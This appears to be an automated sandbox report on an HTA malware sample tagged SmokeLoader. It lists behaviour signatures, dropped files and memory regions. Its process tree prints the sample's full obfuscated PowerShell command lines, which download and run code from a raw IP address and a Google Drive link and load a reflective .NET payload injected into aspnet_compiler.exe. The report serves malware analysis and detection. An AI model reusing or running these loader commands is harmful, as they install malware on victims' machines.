Analysis

  • max time kernel
    93s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/11/2024, 02:51

General

  • Target
    9af40d7dbe70e708bc2fc5cdf500f7f5389210ed8813f006ac342d6983dcd2ac.hta
  • Size 206KB
  • Sample241107-db5z5athrm
  • SHA256 9af40d7dbe70e708bc2fc5cdf500f7f5389210ed8813f006ac342d6983dcd2ac
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

  • exe.dropper

    https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Signatures

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Smokeloader family
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\9af40d7dbe70e708bc2fc5cdf500f7f5389210ed8813f006ac342d6983dcd2ac.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2400
    • C:\Windows\SysWOW64\wInDOwSPOwErShelL\V1.0\powerSHeLL.exE
      "C:\Windows\sYStEm32\wInDOwSPOwErShelL\V1.0\powerSHeLL.exE" "PoWERSHell -EX BYpAsS -noP -W 1 -C dEvICEcREdEntIALDEPlOymENT.Exe ; ieX($(iEx('[sYstEM.TEXt.ENCODinG]'+[ChaR]58+[cHaR]0x3A+'utF8.gETstRINg([sYStEM.CONveRt]'+[ChAR]58+[chaR]0X3A+'FRombasE64STRinG('+[CHaR]0x22+'JGhDNjJTM1FsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC10WXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUmRFRmluaVRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbW9OLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJtQyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1RkVaaWlGZ3Ysc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT1JWQWJPZWpOQ2YsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpkd1l5UyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkRCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInd0ekR6WCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb29aTCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaEM2MlMzUWw6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEzNS4xNjYvMzQvc2VlYWdvb2RwaWN0dXJld2l0aGdyZWF0dGhpZ25zd2l0aG1lZ29vZC50SUYiLCIkZW52OkFQUERBVEFcc2VlYWdvb2RwaWN0dXJld2l0aGdyZWF0dGhpZ25zd2l0aG1lLnZicyIsMCwwKTtTdGFSVC1TTGVFUCgzKTtzdGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW5WOkFQUERBVEFcc2VlYWdvb2RwaWN0dXJld2l0aGdyZWF0dGhpZ25zd2l0aG1lLnZicyI='+[cHAR]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:448
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX BYpAsS -noP -W 1 -C dEvICEcREdEntIALDEPlOymENT.Exe
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3004
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cojs11kr\cojs11kr.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2392
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD4D4.tmp" "c:\Users\Admin\AppData\Local\Temp\cojs11kr\CSC71F69F1849554EFA88CCACF5BD1168C5.TMP"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2840
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seeagoodpicturewithgreatthignswithme.vbs"
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1948
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBzSG9NZVsyMV0rJHBzSG9NRVszMF0rJ3gnKSggKCdyRXBpbWFnZVVybCA9IEk3amh0dHBzOi8vZHJpdmUuZ29vZ2xlLmNvbS91Yz9lJysneHBvcnQ9ZG93bmxvYWQmaWQ9MVV5SHEnKyd3cm5YQ2xLQkozajYzTGwxdDJTdFZnR3hiU3QwIEk3ajtyRXB3ZWInKydDbGllbnQgPSBOZXctT2JqZWMnKyd0IFN5c3RlbS5OZXQnKycuV2ViQ2xpZW50O3JFJysncGltYWdlQnknKyd0ZXMgPSByRXB3ZWJDbGllbnQnKycuRG93bmxvYWREYXRhKHJFcGltYWdlVXJsKTtyRXBpbWFnZVRleHQgPSBbJysnU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhyRXBpbWFnZScrJ0J5dGVzKTtyRXBzdGFydEZsYWcgPSBJN2o8PEJBU0U2NF9TVEFSVD4+STdqO3JFcGVuZEZsYWcgPSBJN2o8PEJBU0U2NF9FTkQ+Pkk3ajtyJysnRXBzdGFydEluZGV4ID0gckVwaW1hZ2VUZXh0LkluZGV4TycrJ2YockVwc3RhcnRGbGFnJysnKTtyRXBlbmRJbmRleCA9JysnICcrJ3JFcGltYWdlVGV4dC5JbmRleE9mKHJFcGVuZEZsYWcpO3JFcHN0YXJ0SW5kZXggLWdlIDAgLWFuZCByRXBlbmRJbmRleCAnKyctZ3QgckVwc3RhcnRJbmRleDtyRXBzJysndGFydEluZGV4ICs9IHJFcHN0YXJ0RmxhZy5MZW5ndGg7ckVwYicrJ2FzZTY0TGVuZ3RoID0gckVwZW5kSW5kZXggLSByRXBzdGFydEluZGV4O3JFcGJhc2U2NENvbW0nKydhbmQgPSByRXBpbWFnZVRleHQuU3Vic3RyaW5nKHJFcHN0YXJ0SW5kZXgsIHJFcGJhc2U2NExlbmd0aCk7ckVwYmFzZTY0UmV2ZXJzZWQgJysnPSAtam9pbiAocicrJ0VwYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIDRycCBGb3JFYWNoLU9iamVjdCB7IHJFcF8gfSlbLTEuLi0ockVwYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtyRXBjb21tYW5kQnl0ZScrJ3MgPSBbU3lzdGVtLkNvbnZlcnRdOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHJFcGJhc2U2NFJldmVyJysnc2VkKTtyRXBsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjJysndGlvJysnbi5Bc3NlbWJseV06OkxvYWQockVwY29tbWFuZEJ5dGVzKTtyRXB2YScrJ2lNZXRobycrJ2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0JysnTWUnKyd0aG8nKydkKEk3alZBSUknKyc3aik7ckVwdmFpTWV0aG9kLkludm9rZScrJyhyRXBudWxsLCBAKEk3anR4dC5SUkZDUkRMLzQzLzY2MS41MzEuNTQyLjI3MS8vOicrJ3B0dGhJN2osIEk3amRlc2F0aXZhZG9JN2osIEk3amRlc2F0aXZhZG9JN2osIEk3amRlc2EnKyd0aXZhZG9JN2osIEk3amFzcG5ldF9jb21waWxlckk3aiwgSTdqZGVzYXRpdmFkb0k3aiwgSTdqZGUnKydzYXRpdmFkb0k3aixJN2pkZXNhdGl2YWRvSTdqLEk3amRlc2F0aXZhZG9JN2osSTdqZGVzYXRpdmFkb0knKyc3aixJN2pkZXNhdGl2YWRvSTdqLEk3amRlc2F0aXZhZG9JN2osSTdqMUk3aixJN2pkZXNhdGl2YWRvSTdqKSk7JykuUkVQbGFDRSgoW0NIQVJdNTIrW0NIQVJdMTE0K1tDSEFSXTExMiksJ3wnKS5SRVBsYUNFKCdyRXAnLCckJykuUkVQbGFDRSgoW0NIQVJdNzMrW0NIQVJdNTUrW0NIQVJdMTA2KSxbc3RSaW5nXVtDSEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4888
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $psHoMe[21]+$psHoME[30]+'x')( ('rEpimageUrl = I7jhttps://drive.google.com/uc?e'+'xport=download&id=1UyHq'+'wrnXClKBJ3j63Ll1t2StVgGxbSt0 I7j;rEpweb'+'Client = New-Objec'+'t System.Net'+'.WebClient;rE'+'pimageBy'+'tes = rEpwebClient'+'.DownloadData(rEpimageUrl);rEpimageText = ['+'System.Text.Encoding]::UTF8.GetString(rEpimage'+'Bytes);rEpstartFlag = I7j<<BASE64_START>>I7j;rEpendFlag = I7j<<BASE64_END>>I7j;r'+'EpstartIndex = rEpimageText.IndexO'+'f(rEpstartFlag'+');rEpendIndex ='+' '+'rEpimageText.IndexOf(rEpendFlag);rEpstartIndex -ge 0 -and rEpendIndex '+'-gt rEpstartIndex;rEps'+'tartIndex += rEpstartFlag.Length;rEpb'+'ase64Length = rEpendIndex - rEpstartIndex;rEpbase64Comm'+'and = rEpimageText.Substring(rEpstartIndex, rEpbase64Length);rEpbase64Reversed '+'= -join (r'+'Epbase64Command.ToCharArray() 4rp ForEach-Object { rEp_ })[-1..-(rEpbase64Command.Length)];rEpcommandByte'+'s = [System.Convert]::'+'FromBa'+'se64String(rEpbase64Rever'+'sed);rEploadedAssembly = [System.Reflec'+'tio'+'n.Assembly]::Load(rEpcommandBytes);rEpva'+'iMetho'+'d = [dnlib.IO.Home].Get'+'Me'+'tho'+'d(I7jVAII'+'7j);rEpvaiMethod.Invoke'+'(rEpnull, @(I7jtxt.RRFCRDL/43/661.531.542.271//:'+'ptthI7j, I7jdesativadoI7j, I7jdesativadoI7j, I7jdesa'+'tivadoI7j, I7jaspnet_compilerI7j, I7jdesativadoI7j, I7jde'+'sativadoI7j,I7jdesativadoI7j,I7jdesativadoI7j,I7jdesativadoI'+'7j,I7jdesativadoI7j,I7jdesativadoI7j,I7j1I7j,I7jdesativadoI7j));').REPlaCE(([CHAR]52+[CHAR]114+[CHAR]112),'|').REPlaCE('rEp','$').REPlaCE(([CHAR]73+[CHAR]55+[CHAR]106),[stRing][CHAR]39))"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:532
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
              6⤵
              • Checks SCSI registry key(s)
              PID:2116

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powerSHeLL.exE.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powerSHeLL.exE.log
        • Size 2KB
        • SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 12KB
        • SHA256 efc9fc8dcb3e177b4597674fb4632f100b29abb18190c4294d50f91a1ebdfa5f
        • MD5 SHA1 SHA512 SSDEEP

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 597202772e79a18067de40ca53e0acd3b40792014421d4a92c725402c8cf599d
        • MD5 SHA1 SHA512 SSDEEP

        RESD4D4.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\RESD4D4.tmp
        • Size 1KB
        • SHA256 196286072ad5b594f021b6fdff8f3c6c4be2ffb9da92be7accbb927ac9ec77de
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_u4353j0y.dmx.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u4353j0y.dmx.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        cojs11kr.dll

        • Path C:\Users\Admin\AppData\Local\Temp\cojs11kr\cojs11kr.dll
        • Size 3KB
        • SHA256 adba3887a61e90d87f00801d5a6f21720a5c9b624c71999535d2d99e5437f268
        • MD5 SHA1 SHA512

        seeagoodpicturewithgreatthignswithme.vbs

        • Path C:\Users\Admin\AppData\Roaming\seeagoodpicturewithgreatthignswithme.vbs
        • Size 138KB
        • SHA256 7913be4378af7f7413b74feae0a7c3c63c1d9ca9ad8f5ceb0361feb5a019238f
        • MD5 SHA1 SHA512 SSDEEP

        CSC71F69F1849554EFA88CCACF5BD1168C5.TMP

        • Path \??\c:\Users\Admin\AppData\Local\Temp\cojs11kr\CSC71F69F1849554EFA88CCACF5BD1168C5.TMP
        • Size 652B
        • SHA256 ae57e5b35096bf2d39831904882f6afbab463e9b03fc494b21bdcee70b4e18cb
        • MD5 SHA1 SHA512

        cojs11kr.0.cs

        • Path \??\c:\Users\Admin\AppData\Local\Temp\cojs11kr\cojs11kr.0.cs
        • Size 478B
        • SHA256 f6d41138084df8aedcf8852b9f0082cb6fc228c04cd56ed5f0f97bc4141b9029
        • MD5 SHA1 SHA512

        cojs11kr.cmdline

        • Path \??\c:\Users\Admin\AppData\Local\Temp\cojs11kr\cojs11kr.cmdline
        • Size 369B
        • SHA256 7585c715a39f9219ee547f1f9d17439ba1090094e5a9102dfc674c971974aca5
        • MD5 SHA1 SHA512

        memory/448-73-0x0000000007510000-0x0000000007532000-memory.dmp

        memory/448-4-0x0000000070AE0000-0x0000000071290000-memory.dmp

        memory/448-1-0x0000000002840000-0x0000000002876000-memory.dmp

        memory/448-81-0x0000000070AE0000-0x0000000071290000-memory.dmp

        memory/448-2-0x00000000053A0000-0x00000000059C8000-memory.dmp

        memory/448-3-0x0000000070AE0000-0x0000000071290000-memory.dmp

        memory/448-19-0x0000000006180000-0x00000000061CC000-memory.dmp

        memory/448-74-0x00000000083F0000-0x0000000008994000-memory.dmp

        memory/448-0-0x0000000070AEE000-0x0000000070AEF000-memory.dmp

        memory/448-72-0x0000000070AE0000-0x0000000071290000-memory.dmp

        memory/448-71-0x0000000070AEE000-0x0000000070AEF000-memory.dmp

        memory/448-65-0x00000000066F0000-0x00000000066F8000-memory.dmp

        memory/448-5-0x00000000052A0000-0x00000000052C2000-memory.dmp

        memory/448-6-0x0000000005A40000-0x0000000005AA6000-memory.dmp

        memory/448-7-0x0000000005AB0000-0x0000000005B16000-memory.dmp

        memory/448-18-0x0000000006140000-0x000000000615E000-memory.dmp

        memory/448-17-0x0000000005B50000-0x0000000005EA4000-memory.dmp

        memory/532-102-0x0000000007F70000-0x00000000080C8000-memory.dmp

        memory/532-103-0x00000000080D0000-0x000000000816C000-memory.dmp

        memory/2116-104-0x0000000000400000-0x000000000040B000-memory.dmp

        memory/3004-42-0x0000000007720000-0x0000000007D9A000-memory.dmp

        memory/3004-40-0x0000000006F80000-0x0000000006F9E000-memory.dmp

        memory/3004-45-0x0000000007370000-0x0000000007406000-memory.dmp

        memory/3004-44-0x0000000007140000-0x000000000714A000-memory.dmp

        memory/3004-43-0x00000000070E0000-0x00000000070FA000-memory.dmp

        memory/3004-50-0x0000000007360000-0x0000000007368000-memory.dmp

        memory/3004-41-0x0000000006FA0000-0x0000000007043000-memory.dmp

        memory/3004-46-0x00000000072E0000-0x00000000072F1000-memory.dmp

        memory/3004-29-0x0000000006F40000-0x0000000006F72000-memory.dmp

        memory/3004-30-0x000000006D3A0000-0x000000006D3EC000-memory.dmp

        memory/3004-47-0x0000000007310000-0x000000000731E000-memory.dmp

        memory/3004-48-0x0000000007320000-0x0000000007334000-memory.dmp

        memory/3004-49-0x0000000007430000-0x000000000744A000-memory.dmp

        memory/4888-91-0x00000000062B0000-0x0000000006604000-memory.dmp